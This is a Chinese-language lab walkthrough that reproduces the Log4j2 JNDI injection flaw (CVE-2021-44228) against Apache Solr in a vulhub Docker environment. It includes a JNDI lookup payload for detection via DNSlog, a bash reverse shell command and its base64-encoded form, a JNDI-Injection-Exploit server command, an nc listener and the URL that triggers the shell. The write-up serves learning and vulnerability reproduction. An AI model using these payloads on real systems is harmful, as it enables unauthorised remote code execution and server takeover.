CVE-2021-44228 log4j2远程代码执行漏洞复现

由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据(类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入),触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
影响范围:2.0至2.14.1

漏洞前置知识

1、log4j2
Apache Log4j 2 是Java语言的日志处理套件,通过使用Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。
2、JNDI
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。
3、LDAP
LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。
4、RMI
能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法
5、攻击原理
Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容,该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
在这里插入图片描述

环境搭建

靶机:172.16.10.12
kali:172.16.10.60
这里使用vulhub-master docker环境来搭建
进入vulhub-master/log4j/CVE-2021-44228目录
执行docker-compose up -d
服务启动后,访问http://172.16.10.60:8983即可查看到后台页面

漏洞复现

第一步、判断是否存在漏洞
首先在dnslog平台拿到一个域名
在这里插入图片描述
用到管理的接口的action参数构造payload

http://172.16.10.12:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.lzuhd0.dnslog.cn}

访问之后,dnslog平台出现数据,显示出当前java版本,证明漏洞存在
在这里插入图片描述
第二步、反弹shell
首先构造反弹shell命令

bash -i >& /dev/tcp/172.16.10.60/3456 0>&1

进行编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuNjAvMzQ1NiAwPiYx}|{base64,-d}|{bash,-i} 

然后在kali上利用大佬的工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)来启动ldap和web服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuNjAvMzQ1NiAwPiYx}|{base64,-d}|{bash,-i}" -A "172.16.10.60"

在这里插入图片描述

新开启一个kali窗口监听

nc -lvvnp 3456

访问http://172.16.10.12:8983/solr/admin/cores?action=${jndi:ldap://172.16.10.60:1389/upr6wk}

成功反弹
在这里插入图片描述